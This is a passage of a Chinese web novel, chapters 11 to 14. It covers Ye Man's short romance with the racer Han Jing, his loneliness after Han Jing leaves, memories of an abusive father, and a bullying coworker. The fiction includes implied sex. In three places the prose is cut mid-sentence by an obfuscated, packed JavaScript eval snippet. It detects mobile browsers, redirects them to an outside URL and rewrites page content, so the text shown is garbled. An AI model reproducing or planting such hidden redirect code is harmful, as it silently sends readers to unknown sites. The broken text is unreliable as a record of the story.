他已经完成所有工作,但是没办法回家了,城市交通因为天气原因停止运行。 他准备给自己泡一碗面,手不小心碰到鼠标,白色箭头在屏幕上划出一条线,后台运行的软件飞速掠过,停留在微信界面。 叶满看到韩竞给他发了消息。 分别在中午和几分钟前发来的。 叶满轻轻点开。 韩竞说:“还在加班?下雨了。” “忙完了吗?我去接你。”韩竞几分钟前对他说。 叶满鼻腔微酸,趴在桌上,慢慢打字:“不用啦,路上水太深了。” 韩竞:“我的车没问题,给我地址。” 叶满:“算了,雨太大了。” 下一秒,他的手机铃声响起。 在只有他一个人的办公室忽然出声,他吓了一跳,手忙脚乱接起来。 “小满,”韩竞的声音传出来,背景里是哗哗的雨声,他温和地说:“给我发个地址,我已经出门了。” 叶满低着头,小声说:“谢谢你。” “等我。”韩竞说。 叶满飞速收拾好了所有东西,然后拿着自己的伞飞快下楼。 办公楼里很安静,休息日没开灯,走廊里黑漆漆的。 他站在电梯里,看着提示数字一点一点变小、降低,觉得胸膛里的心脏跳得很轻盈。 他希望韩竞来的,他希望有人接他回家,但是别扭的性格和很怕麻烦人的心态让他拒绝了两次,韩竞还是来了。 从电梯出去,走到公司玻璃门后,外面的天就像已经进入深夜了一样,偶尔会震起几声闷雷。 他安静站在这里,向外张望。 韩竞说让他在楼里等着,他距离这里有四公里左右,很快就到。 掌心的手机振动一下,他连忙拿起来看,不是韩竞的,是妈妈的消息。 她说:“孩子,你那儿下雨了吗?我们这儿下得可大了。” 她是用手写的,写这一句话肯定花费大量时间,还检查了,以至于这里竟然没有一个错别字。 叶满回复:“下了,都快发洪水了。” 妈妈说:“在家里别出去。” 叶满抿唇,问:“你的小基金攒了多少了?” 妈妈:“有一万三了!” 叶满把自己这个月的饭钱发了过去,一共两千。 爸妈两个人在一起过了二十八年,直到近两年妈妈才发觉靠爸爸是不会有钱养老的,他有一点钱都会借给他的亲戚、他的好朋友,家里穷得房子破旧,老婆省吃俭用,衣服没几件新的,他的朋友都过得风生水起。 妈妈开始自己偷偷攒钱了。 叶满发了会儿呆,想要告诉妈妈自己中了彩票的事,手却半天没有落下去。 11. 第 11 章 “滴滴——” 汽车鸣笛声惊醒了叶满,他关掉手机,向外看,一辆黑色的高大越野停在了门口。 车门打开,一条长腿首先映入眼帘。 高大的男人撑着一把黑伞,走进雨里,向着办公楼走来。 叶满连忙推门出去,他飞快跑下台阶,身上被飞过来的雨淋湿,很快,男人伸手接住了他。 “慢点,”韩竞低头看他,在漫天的雨幕和隐隐闷雷里,声音沉稳而温和:“累坏了吧?” 叶满摇头,他站在韩竞面前,红着耳朵说:“谢谢你来接我。” 城市浮在水上,路灯提前开了,照在空旷的路上。 越野淌开积水,溅起的白色水花很快被落在后面,这辆车里边也非常帅气,黑色硬汉的风格,舒适的座椅和宽敞的空间,让不懂车的叶满都觉得很高级。 他打量了一圈,心想,要不自己也买一辆。 “这辆车多少钱?”叶满好奇地问。 韩竞认真看着路况,随口道:“落地六十来个。” 叶满“哦”了声,他意识到韩竞应该是一个有钱人。 不过他对钱没啥感觉,别人有钱没钱都和他没关系。 他很快转移注意力,笑着问韩竞:“你想吃什么?我回家给你做。” 那酷哥儿说:“你做什么我吃什么。” 叶满弯着唇,看向车外的雨中世界。 他发现自己很喜欢这种感觉,在一个舒适的封闭空间里,移动在世界上的某个角落,可以看到别人看不到的景色。 即便是狂风骤雨,但是很自由。 可惜那段路程很短,车停在楼下,韩竞先下车,叶满刚打开门时,韩竞已经绕过来。 叶满抬头看他,就见韩竞俯身搂住他的腰。 叶满身体一轻,像是一个麻袋一样被轻轻松松扛了起来。 是用扛的,叶满的腰甚至卡在韩竞的肩上。 倒栽葱时叶满还蒙着,直至韩竞大步走进单元楼,把他放下,叶满的鞋甚至没沾水。 他该是谈过多少次恋爱,才这么熟练啊…… 他的心里暗戳戳对韩竞产生一点占有欲,想要探听他的事,却在起了这个念头的时候迅速把它掐死。 他洗过澡,爬到韩竞的床上时,正回消息的韩竞扔下手机,把他压在柔软的被子里。 两个人就这样亲了起来,叶满心跳得快要无法呼吸了,休息一会儿,两个人静静对视着,又忍不住亲在一起。 叶满想,这个世界上有各种各样的人,应该就有各种各样奇葩的相处方式。 他和韩竞不熟,没问过互相的信息,也没分享过彼此的生活,但是他们现在抱在一起,低低说着话,就像很多亲密情侣做的那样。 他们晚上还是睡在一起。 然后接下来的三天里,他们谁也没提出让韩竞回到酒店去住。 再次见韩竞的朋友,那几个人的眼神儿明显不一样了。 雨过天晴后,北方开始进入了火炉模式。 街边的树都被过亮的阳光照得晃眼,叶满从公司园区里出来,几辆越野停在门口,拉风又显眼,街上商铺不少人走出来瞧他们。 韩竞的车就在最前头,冲他鸣了笛。 叶满走过去,拉开车门,后车有人探出脑袋,笑着跟他打招呼。 那热情和亲近模样,显然和上回的客客气气有很大差别。 向来对人情绪变化敏感的叶满腼腆地对他们笑笑,然后坐上了韩竞的副驾。 下午四点,叶满下班,他们今天已经结束越野,泥林那边赛场路况肯定很糟糕,因为这些车上都是泥水。 叶满是个社畜,韩竞在前一天问过他能不能请假跟自己去跑车,但是叶满拒绝了。 他从来没有请过假,因为请假扣钱。 前些天的暴雨导致江水泛滥,今天已经退了,城市的街头已经被太阳晒干,而有草木的地方还湿漉漉的,整个城市散着泥土清香。 越野车开上渡江大桥,叶满摆弄手上那个圆形奖牌。 凑到眼前瞧瞧,又送进嘴里轻啃了一下。 观察路况的韩竞瞧见,勾唇说:“纯金的,值点钱,你拿回去玩吧。” 叶满一愣,连忙将奖牌放下,然后赶紧摇头,说:“我不要。” 韩竞:“假的,那是巧克力。” 叶满憋住笑,侧头看他,说:“哥,你冠军啊?” 韩竞打开车窗,往嘴里塞了根烟,牙齿咬着烟时,吐字瓮声瓮气。 “赚钱养家嘛,拿金子养你。”韩竞随意地说。 完全就是逗他,用调情的语气说话。叶满脸有点红了,小声说:“那辛苦你了。” 韩竞哼笑了声,懒散道:“应该的。” 叶满望着他硬朗流畅的侧脸,古铜色的皮肤在车窗外飞速闪过的明灿光影下显得格外清晰英俊,他开车很稳,大概夏季的阳光太晃眼,他微微眯着眼睛,肌肉结实的手臂搭在方向盘上,慵懒又具有野性。 叶满太迷他这模样,他就像电影里才能见到的江湖客,惊鸿一瞥,转眼就会擦肩而过,不敢上前搭讪,但是会记住很长很长时间。 “那你们跑完比赛了,就要走了吗?”叶满还是问了出来。 问出这话时他心里特别忐忑,生怕听见他的确定回答。 他绞尽脑汁想说一下自个儿的省份有什么好玩的,但是他一时半会儿还真说不出来。 毕竟,他都没去玩过。 “嗯。”韩竞还是确定了:“我那边生意出了点事,明天就得回了。” 悬着的心终于死了。 还以为能多在一起玩一阵子。 叶满眨眨眼,没说什么,把脑袋缩回来,看着窗外的街景。 这两天韩竞经常接送他上下班,每天都经过这条路,好在他还没开始习惯韩竞这个行为。 “过一阵子忙完了我再来看你。”韩竞多精啊,一眼看出叶满情绪的细微变化,低低哄道:“我把车留这儿,你平时开着上下班也方便。” 叶满“啊”了声,弯唇说:“我没驾照,开不了,而且你一直放我这儿被抓住估计要交停车费的,还是开回去吧。” 韩竞点点头。 叶满舔了舔嘴唇,望着窗外波光粼粼的江面,橘色的下午阳光落在上面,跟副画似的,他想起来之前韩竞加他好友的时候,他也是这么看着江面。 “还有烟吗?”他问。 韩竞咬着烟嘴,说:“最后一根了,抽我这个。” 叶满倾身,伸手从他嘴里抽出那抽了两口的烟,然后塞进了自己的嘴里。 烟嘴有点湿,但是叶满挺喜欢的,那好像沾了点儿韩竞的气味儿。 他降下车窗,烟飘了出去,热了一天的天气快到日落这会儿也开始降温,清清爽爽。 车开进了熟悉的街区,又在那家苍蝇小馆停下。 韩竞搂住叶满的肩,带他往里边走。 叶满一根烟还没抽烟,低着头深吸了一口,见韩竞往自己的牛仔裤口袋里塞了个什么东西,沉甸甸的。 他伸手勾出来,是那块儿拴着绳子的金牌。 他低低说:“哥,我真不要。” 怕韩竞朋友听见,他特意说的悄悄话,但是还是被耳尖的听去了。 那胖大哥乐呵呵说:“他比赛之前就说了要把金牌送你玩儿,你要是不收,他白跑了。” 这么多双眼睛看着,韩竞就这么把他搂在胳膊下边,俩人身高差快二十公分,又贴得那么近,就是告诉别人他们两个关系不一般。 就在几天前,叶满也是当着他们的面,对韩竞伸手,说:“你好,我是叶满。” 他有点不好意思,那么多人呢,他真不好折韩竞的面子,就收了,想着过会儿还他。 毕竟金价儿现在可不低,这么一块儿得值个万把块的。 这餐厅的口味挺合这群人的胃的,一直有点水土不服的几个人最近都是在这儿解决吃饭。 只是他们刚到这儿,就看见餐厅门锁了,老板不知去向。 这是在这儿的最后一顿了,叶满作为土著,不想让他们扫兴,给老板打了电话才知道他家媳妇生孩子,在医院呢。 这没法子了。 韩竞开口道:“去别家吃吧。” 可附近都是预制餐厅。 “要不咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他不知道自己什么时候喝酒,什么时候吃饭,小时候躲在爸妈后面,长大后躲在领导后面,现在躲在男朋友后面,他永远像个长不大的孩子,无法为自己做决定,韩竞喝的时候,他判断这里应该喝酒,他就举杯。 这样导致的结果就是,喝了很久很久了,韩竞仍面不改色,而叶满已经晕了。 他坐在海绵垫上,而韩竞坐小凳子,他比韩竞矮很多,将脑袋轻轻倚靠在他的手臂上休息。 韩竞说着话,察觉到他的异样,低头看他。 天然卷的头发被路过的夜风吹得凌乱,户外灯桔黄色的朦胧光晕里,小卷毛将白嫩的脸贴在他的上臂,皮肤的触碰传递着彼此的体温,滚烫。 那双大大的猫眼正微垂着,嘴唇微张,看上去有些醉了。 小卷毛皮肤苍白,嘴唇颜色也淡,他的手握着啤酒罐,指甲扣在上面,隐约发蓝。 他好像有点贫血。 韩竞伸手贴在叶满的侧脸,干燥温热的亲昵触感太过明显,让叶满缓缓抬眸。 “吃什么?”韩竞微微凑近,凝视他的眼睛,挡住户外灯的灯光,声音低而温柔,是在说悄悄话:“我给你拿。” 叶满还没怎么吃东西呢,因为他甚至不好意思伸手去拿。 叶满望着他,赧然地小声说:“都爱吃。” 韩竞伸手取了一串鸡胗,拿到叶满的唇边。 叶满张口咬住。 韩竞没松手,就这样一只手保持投喂姿势,和朋友聊天,但是每一次叶满吃光了,他都会很及时地换一串。 这一幕被在场的人看得清楚,有人开起了玩笑:“我们是不是得回避啊?” 叶满红着脸,接过韩竞手上的烧烤,笑笑,没吭声。 一群人又举杯干杯了,叶满也赶紧举杯,余光里观察韩竞喝了多少,自己也喝一样多。 “你明天直接去格尔木?”那胖大哥问韩竞。 叶满刚放下的酒又拿起来,自己抿了一口,慢吞吞吃签子上的瘦肉。 “嗯,”韩竞说:“明天你开车送我一趟。” 胖大哥说:“得嘞。” 12. 第 12 章 夏天蚊虫多,蚊子被烟熏得不敢靠近,但是有飞蛾落在了叶满的手背,叶满伸手驱赶,蛾子翅膀上的灰色粉末蹭出一条指印。 这世上遇见的的大多数人就像一生一会的飞蛾,忽然降临在你身边,不能碰,碰就留下点印子。 有的不留神弄出一道疤,有的是一抹灰。 叶满掀起蓝色格子衬衫短袖的衣角。将手背抹了干净。 这些人酒量太好,又递给他一罐,他也乖乖喝了。 还没散场,叶满就靠在韩竞腿上打起了瞌睡。 老周瞧见了,低声说:“快带上去吧,都醉了。” 韩竞不用他提醒,早就把酒放下,扶住叶满,将他背了起来。 被人背起来时叶满就醒了,但是他不愿意睁眼,睁眼就得跟一群人告别,打招呼说话。 韩竞把他背进单元楼,声控灯亮起。 稳健的脚步声一级一级向上,叶满搂着他脖子的手臂微凉,可触碰的地方滚烫。 他不自觉收紧了力道,韩竞脚步微顿,继续向上走,低低道:“装睡?” 叶满喝醉了酒,说话带鼻音,把脸埋在他的肩有,闷闷说:“刚醒。” 韩竞很稳,叶满甚至感受不到颠簸,这是他第一次走这条路时这样轻松。 韩竞:“怪我,没早点带你回来。” “才十点,”叶满轻声说:“你送我上去就走吧。” 韩竞这个人特别敏锐,眼珠向侧后方瞥,余光里观察叶满:“走去哪儿?” 叶满想说你跟他们走吧,今晚别留下了, 话到嘴边又敏感地觉察韩竞在观察自己,改口道:“和他们吃饭啊。” “他们有什么好陪的?”韩竞轻笑了声:“我爱跟你待在一块儿。” 叶满心脏跟发酵了一样,一下膨起,醉酒下他呼吸沉甸甸的,赧然地撒娇:“我也爱跟你待在一块儿,我喜欢你。” 韩竞勾唇,没再说话。 打开房门,叶满被韩竞放在客厅床上。 “我给你倒杯水。”韩竞揉揉他的头发,说:“洗把脸,喝完水去睡觉吧。” 叶满点点头,看一眼手机,晚上十点刚过。 叶满有时候会把自己灌醉了,他逃避现实的时候就喜欢借助酒精,他家里有很多种酒,他自己练习调酒,试图找出一种能辅助睡眠的配方,但是每一次结果都像现在这样。 他看着镜子里的自己,像是一个不适应这个皮囊的附身小鬼,离远一点他就觉得自己长得奇怪、陌生,近一点又只能看清自己的局部,更认不出来。 喝酒只会让自己陷入虚无孤独状态。 韩竞的牙刷和自己的并排摆着,明天韩竞就会离开,这个房子里又剩下自己。 他矛盾极了,觉得轻松期待,又觉得孤单不舍。 仔仔细细看了自己好一会儿,他脱掉衣服,走进了淋浴下面。 出浴室的时候,韩竞还在家里,没出去。 他坐在床边,手上握着一部手机。 叶满走过去,想要抱抱他时,发现那手机是自个儿的。 他敏感地察觉到了不对,看看自己的手机,问:“怎么了?” 韩竞伸手搂上他的腰,叫他坐在自己腿上。 “这就那个两万的小鸭子?”韩竞抬手,很有劲儿的指头捏住叶满的腮,语气不冷不热的:“天天追着你表白呢,不知道你有主啊?” 叶满的脸被他捏得跟包子似的,看那手机屏幕,消息一条接一条弹出来,每一条都写得清清楚楚。 叶满心虚了,赶忙搂住韩竞的脖子,撒娇道:“本来也没什么关系,你不高兴就把他删了。” 韩竞“啧”了声,似笑非笑道:“我怎么觉得这事儿不对呢?” 叶满呆呆的:“什么?” 韩竞有点烦躁似的:“这我要是走了,你不得给我头上扣绿帽子啊?备胎都有现成的。” 叶满嘴唇扯了扯,看起来是想笑。 他细白的指头戳上了韩竞凸起的喉结,垂眸看着那里轻微滚动的弧度,以一种很无辜很真诚的口气说:“你放心吧,我不会和别人好的,我喜欢你,你是这世上最好的。” 韩竞的喉结剧烈滚动了一下。 他凝视着叶满低垂的眼睫,低低道:“哄我?” 叶满摇头,亲亲韩竞的嘴唇:“你先下去吧,他们等着你呢。” “你自己行吗?”韩竞观察他的状态,说:“真想让我走?” 叶满笑笑:“真的,你去吧。” 韩竞点点头。 叶满心里空落落的,撑着他的肩站起来。 腿不小心碰到韩竞的膝盖,紧接着,身体一轻。 卧室灯关着,客厅的灯光被墙阻隔,从门照进来的窄窄光束只能滤下一层灰蒙蒙虚影。 叶满被轻轻放在床上。 韩竞在看他,半跪在床沿,手撑在他的枕侧。 这样静谧的房间里,只有墙上钟表摆动的声音,在提醒着人们时间正一刻不停地流逝,叶满缓慢眨眼,喃喃叫了声:“老公。” 韩竞眼眸幽深,忽然低头,用力吻住了他的嘴唇。 叶满轻轻闭上眼睛。 楼下的烧烤不知道散了没,中间一直没有人敲过门。 房间里始终没开灯,但是声音好像没停过。 北方的夏季夜色撩人,纱窗透进来的风都不好意思驻足,飞速溜走。 夜渐渐沉寂下去。 然后晨光总会准时出现。 叶满的小腿正不受控制打摆子,红着脸缩在床头看床边正穿衣服的男人,朦胧的蓝色晨光里,结实健壮的古铜色脊背肌肉隆起,又被黑色短袖覆盖。 叶满已经累到极点了,他对这一夜发生的事感到茫然恍惚,他们一晚上除了打了十几分钟盹儿几乎都没有休息,而自己竟然坚持下来了。 叶满不喜欢早晨,他总是在清晨感到格外孤独。 今天韩竞就会离开了,他稍微有点不习惯。 “才五点,”韩竞低沉性感的声音自床边响起:“你接着睡,今天请假吧,我给你补工资。” 叶满今天肯定上不了班了, 他摇摇头,红着脸蜷起身体,他没穿衣服,而韩竞穿着,这让他有点羞耻。 白皙的身体和修长的四肢,被东方而起的晨光笼罩,蓝色的朦胧影子,就像将醒未醒的梦境,在清晨还未完全清醒的人眼里,像是一场惊艳而纯洁的视觉盛宴。 韩竞的目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424859|169117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在他的身上,低声说:“我走了你会不会想我?” “会、会……”叶满搭着头,像是害羞到极点,他缓缓,慢吞吞组织了一下语言:“你那么好,我会每天都想你。” 韩竞稍稍放心,锋利的唇角勾出笑意,温柔地说:“我处理完事情就回来找你。” 叶满乖乖应道:“嗯。” 韩竞进洗手间洗漱了,叶满趴在床边,翻出自己的衣服,从里头拿了样东西,塞进了韩竞的钱包。 韩竞出来的时候,叶满正穿衣服。 他累狠了,穿衣服速度慢,又因为身上被咬出来的伤频频抽气。 韩竞拿起自个儿的钱包,开口道:“疼了?” 尾音微微上扬,有种痞里痞气的浪荡。 叶满昨晚从头到晚没喊过疼,韩竞咬他的时候,他甚至会求他咬得更重。 “不疼,”叶满乖巧地说:“我送你。” 韩竞:“不用,老周在楼下呢,他送我去机场。” 叶满“啊”了声,他还是派不上什么作用,对韩竞起不了什么价值。 他说:“那我送你到门口。” 韩竞:“嗯。” 楼道里仍然沉闷闷,清晨的雾气让叶满整颗心都湿漉漉。 他抱住韩竞,脸在他颈窝用力蹭了几下,绵软的脸被蹭变形了,就像好舍不得、好舍不得他。 这显然让韩竞很受用,他挑起叶满的下巴,低头与他对视。 客厅里的白炽灯光在清晨总是格外黯淡,明明视力良好,可叶满总觉得看不太清面前的男人。 他努力集中注意力,望着那双眼睛,但是信息处理能力滞后。 “我不在这儿,别跟别人乱撩。”韩竞淡淡警告:“否则让我知道了,就……” 叶满乖乖听着,那些话要延迟两至三秒才让他分析清楚含义,可刚分析完,后续的就记不住了。 “想我打电话。”韩竞抱住他,将下巴抵在他的肩上,整个高高大大的影子微微蜷着,并不具备酷哥儿锋芒和霸气:“我走了。” 叶满迟钝地“啊”了声。 看着韩竞退开,进入楼道的阴影里,家里灯照不到的地方,注意力不知怎么就转移到了自个儿被啃坏的背。 他觉得背疼、肉疼。 后知后觉的,一股子强烈的低落涌上心头,将他情绪不停下压。 韩竞已经抬步下楼了,走下两级,叶满忽然喊了他一声。 “哥,”稀薄的晨光里好像缺少氧气,血里缺氧,所以声音都有点没力气,他站在门框里头,没往出迈一步,说道:“一路平安。” 一辆牧马人停在楼下,亮着灯,叶满站在厨房的窗边,低头往下看。 韩竞从单元楼里出来了,晨光太暗了,叶满看不大清楚他的模样,只觉得是高大的,他觉得这个人跟他距离很近,自己的身上还残留着他的体温。 韩竞拉开车门,和里面的人说了句话,雾气朦胧里,那声音传到三楼,叶满听不清。 韩竞的注意力放在别人身上时,叶满又觉得自己距离他很远,他坐上车,门合上,缓缓驶离,叶满就觉得,他越来越远,变得陌生。 就像中间有一条线,距离远了,就“啪”地断了。 13. 第 13 章 叶满请了假,把家里彻底大扫除一遍。 他将韩竞用过的牙刷扔掉,杯子仔细清洗,床单塞进洗衣机,鞋也刷干净。 消毒水的气味儿消灭了这里来过人的一切指纹,最后他把沙发上那个被韩竞解开的粉红豹的长腿打上结,整个家又恢复了以前的样子。 夏日阳光照得楼下大树晃眼,这时,他才挺着几乎已经坚持不住的身体进了洗手间。 他把自己洗了好几遍,然后走出来,爬上了床。 床上用品已经换了新的,有一股洗衣粉的香味儿,炎热的阳光晒在上面,烫人。 叶满拉上窗帘,趴在床上,沉沉睡了过去。 第二天叶满照旧坐公交上班,很不幸,他在公交站遇见了公司那个大嘴巴同事。 “欸,叶满,早啊。”那大哥手上拿着杯咖啡,看到叶满时,不动声色地转了转杯子,特意把星巴克的标志对着叶满,生怕别人不知道他在喝什么。 这儿很少有人喝这玩意儿,顶多弄个速溶,毕竟这平均工资四千的单位里头,花上一天工资喝一杯咖啡并不现实。 这么热的天,叶满穿着长袖,同事敏锐地察觉到了不寻常,那眼观六路的本事要是扔夜市里去,一条街的扒手都别想跑。 可他是个会计,坐在那一亩三分地儿,就爱研究同事。 他只要一说“欸”,那么每个人都觉得有根看不见的针就要刺过来了,立刻警惕紧张地地检查自己的每一个毛孔,生怕哪个堵塞了,被挑出来满公司同事都知道了。 此时的叶满也是这种情况,他很怕丢脸,也很怕自己的某一件事成为众人的议论谈资。 同事就要开口了,叶满神经都绷了起来。 “你今天怎么坐公交来的?”同事果然说起这个,一幅好奇的样子:“你那有钱的朋友怎么没来送你?吵架了?人家不愿意送你了?” 这些密集的话跟那砖头似的,从上下左右东南西北各个方位往叶满脑袋上砸,那叫一个快,叶满都没法躲,被砸得鼻青脸肿的。 好在他藏得好,没人知道他性取向,要不他在这单位都没法儿待了。 “他回去了,”叶满加快脚步:“咱们快点吧,快迟到了。” 那大哥迈着粗腿跟了上来,特意压住叶满半步,他绝不屈居人下。 跟上来后,他瞥叶满一眼,又张口:“怎么就走了?肯定是你让人家不高兴了吧?看人家对你多好啊。” 叶满本来穿得就不透气,这快要八点半,天一点一点热起来了,捂得他脸红。 他又加快脚步,说:“真没有。” 大哥又甩腿跟上来,俩人跟竞走似的,一会儿这个领先一会儿是那个,也不知道怎么就较上劲儿了,当然,叶满可没那意思。 “那他回哪了?车也开走了?”大哥说:“那群人是干什么的?那么多大越野,不得几百万啊?” 冲入办公楼,叶满眼疾腿快,赶在最后一秒上了电梯。 电梯里都是人,这个时间是上班高峰,里头挤成了一团,混着股子煎饼果子、肉包子的味儿,还有一股也不知道是臭豆腐还是臭脚丫子的气味儿鬼鬼祟祟从角落里滋生。 叶满熟练地屏住呼吸。 他上来后,立刻有人按关门键,叶满眼看着门都快关了,心里稍稍松了口气,不料一杯星巴克忽然闯入了电梯缝隙。 他都有点绝望了。 如果在人群里,这个人的声音会更大,他致力于吸引所有人的注意力,而且会用更加夸张的词汇和腔调来说话,用自己的臆测来尽情表达,跟演舞台剧似的,处处是舞台。 然后他就装没心眼儿,出洋相的是别人,被造谣的也是别人。他就跟能从这过程中汲取养分似的,干完缺德事儿就会神清气爽。 叶满心惊肉跳,眼看他抬腿迈进来了。 这电梯里地方就这么大,挤得都落不下一只脚了,可这人大腹便便,还真有本事用那将军肚为自个儿开疆破土,硬是折腾出一块地方。 打工人平时上班都够麻了,被挤得东倒西歪也没人吭一声,等他两脚落地,电梯里忽然出现一阵报警声。 这是超载了。 这得下去一个。 马上八点半了,上班快迟了,后边的人开始抱怨:“下去一个啊。” 叶满不想下去,他不是最后一个上来的。 而那星巴克大哥却没下去的意思,他心安理得地站着,甚至将目光看向了叶满。 叶满:“?” 果然,下一秒。 “小叶,你先下去吧,要不大伙儿都迟到了。”他厚道地替民众发声。 叶满没动。 他觉得下去的不应该是自己。 而民众可不管这事儿,只要有一个吭腔的人,他们不会管先来后到,只会跟着一块儿谴责:“是啊,快下去吧,这都迟到了。” “真无语,能不能有点公德心?” “那小帅哥,别耽误我们时间啊。” 七嘴八舌里,叶满的心脏都有点发抖,他在生气,脸上也火辣辣的。 他想说自己不是最后一个上来的,可那一群人都开始指责他,用一种厌恶不耐催促的态度赶他走。 就像从小到大的每一个场景,自己都是被踢出去的那个。 他好像和这个世界隔着一层膜,所有人好像都不约而同在瞒着他搞一些潜规则,把他排挤孤立在外。 电梯的警报声里,他低着头,走下了电梯。 他站在电梯门口,看着那扇贴满直聘广告的电梯门缓缓合上,那些人消失在了他的视线范围里。 他觉得放松了,可心底渐渐升起一种空落的无助。 好在,旁边的那部电梯这时候开了,里边也不挤。 到公司时赶着最后一秒打了卡,刚进办公室,就听见那星巴克大哥和同事大声嚷:“完了,叶满要扣钱了,他没赶上电梯。” 叶满觉得特窒息,他一声不吭越过他身后,坐在自己工位前。 旁边那个女同事同情地看他,把自己手里的小零食分给叶满一袋,叶满心情好了一点,对她笑笑。 下一秒,星巴克大哥发现了他,惊奇道:“你什么时候来的?” 那个咖啡杯子长在他手上似的,一直没放下来,他抿了一口,也不知道到底是喝还是没喝。 叶满低头打开电脑,敷衍道:“刚到。” 同事大哥连忙看手机,现在八点二十九分。 他笑呵呵说:“我还担心你被扣钱呢。” 叶满没再吭声了。 他身体还没修整好,浑身酸疼,但是被咬的地方已经疼痛减轻了,只有偶尔衣料摩擦时会轻微疼一下。 韩竞有分寸,即使自己那么求他,那么撒娇,也没给他留下消失不了的伤。 登录微信,韩竞的消息弹了出来。 昨天韩竞应该一直在赶飞机赶车,所以没怎么说话。 晚上那会儿问过叶满累不累,给他打了个电话,叶满说自个儿困,聊了没两分钟就挂了。 几分钟前,韩竞跟他说:“昨天没问你,怎么把金牌塞我钱包了?” 叶满盯着那句话,半晌,敛眸关掉对话框。 他没回。 做这个工作其实还是有一定的自由的,偶尔会出外勤,跑跑银行,只要办完业务就可以直接下班。 今天就有业务要去银行办,下午刚上班,叶满就收拾了资料准备走。 所长交代他几句,他一一应下来。 他的这份工作太适合叶满了,只要把一切相关内容弄通,以后就不会有太大变化,他可以靠这一点经验一直做下去,得心应手。 工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424860|169117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六年了,他已经算是老手,所以不用所长操心太多。 “所长!” 一道热情的声音忽然插入,两个人一起看过去。 那星巴克大哥笑得老实敦厚,说道:“我和小叶一起去吧,我这里手上也有点工作需要去银行,小叶年纪轻,怕是出什么岔子,我去也能帮着看看。” 叶满都工作这么多年了,已经是老员工,被他一说好像跟不靠谱的新人似的,还得人扶着走。 在领导那儿印象肯定就不好了,就好像自己是一个很不靠谱的人。 他虽然很难听懂弦外音,但是对这种的恶意还是能察觉到的,他感到特别生气。 这种生气的原因是因为能力受到质疑,其实不单体现在工作上,体现在生活中的种种方面。 每一次看到完全不同的工作时、非常厉害的人时、甚至像见到在自助餐店里能吃下很多食物的人这种无意义的事时,他脑子里都会自动跳出一个声音:“为什么别人都能做到,你做不到?真没出息!” 一声声质问在他的心里挥之不去,他会涌起一种虚假的勇气,会假想自己努力也可以的。 最后冷静下来,他只能接受自己是一个草包的事实,但其实这些他不必要介意这些古怪的点的,毫无意义,可他控制不住。 他在无数次失眠里,试图回忆那个声音的音色,想要找出它出自谁之口。 后来追根溯源,他想到了自己的父亲。 他考了60分回家,拿着卷子让家长签字,爸爸蹲在地上修车,眼睛都没看他一下,冰冷地说:“为什么别人能考一百分,你不能?” 爸爸出门了,他央求他给自己买一支钢笔,爸爸满口答应,回来时却手上空空,他失望地抱怨一句,爸爸面色狠戾地说为什么谁谁谁没有钢笔也能考第一,你不能?他激动地说那个人有很多漂亮的钢笔,下一秒一个巴掌就甩在他的脸上,他的头被一个恐怖的力道、世界上没有人可以挣脱的力道抓着,狠狠往柜子上磕,吼道:“为什么别人都行,你不行?” 小时候出门去城市见亲戚,他穿得衣服脏兮兮破烂烂,每一次畏畏缩缩都不敢抬头,爸爸把他扔在车里,免得丢人,他用那种极其厌恶排斥的眼神看他:“看看别人再看看你,我告诉你叶满,你这辈子都不会有出息!” “一个碗都拿不住,没出息!” “人家的孩子会唱歌、会画画,你什么也不会,没出息!” “让你拿个东西都能拿错,你的脑子都钻电视里去了,你真是个废物!我怎么生出个你这样的揍性?” “妈,帮帮我……” “你爸教育你还有错吗?你要是有出息我和你爸至于抬不起头吗?” 好多奇怪的理由,每一天都在告诉幼时的叶满,他这辈子都是个废物。 这导致一种更奇怪的结果,他的成绩没有变好,却打满了劣质鸡血,他认为自己什么都可以做好,他什么都行,他要证明给别人看! 他什么都不行,他是个废物,但是他只能靠这种方式来骗自己是不平凡的。 因为有人不接受他平凡,他也就开始不接受了。 而他长到了27岁,他已经知道这个世界上的很多事他都不行。 他只擅长做审计这一个工作,如果别人说他做不了注册会计师的活儿,他不会说什么,但是他被质疑了自己唯一存在的价值。 “我自己可以!”尽管叶满知道这个讨厌的同事只是想偷懒早下班,并不是针对他,但是他还是罕见地反抗了,他牵起唇角,硬邦邦说:“我这边的业务你可能不大清楚。” 同事立刻笑着说:“你看看你,我又没说什么。” 叶满胸口剧烈起伏一下,紧闭嘴唇。 又是这样,每一次为自己发声都好像斤斤计较。 还是两个人一起去的。 14. 第 14 章 有时候叶满都佩服这个同事,他不用做什么,就一张嘴就能哄得领导给他开无数例外。 星巴克也一起出来了,如果它有的选,大概也不会愿意被那只汗津津的肥手握着。 出了公司的门,那星巴克同事好像完全忘了公司里的事儿,热热情情赶上来,和他说起公司另一个同事的八卦。 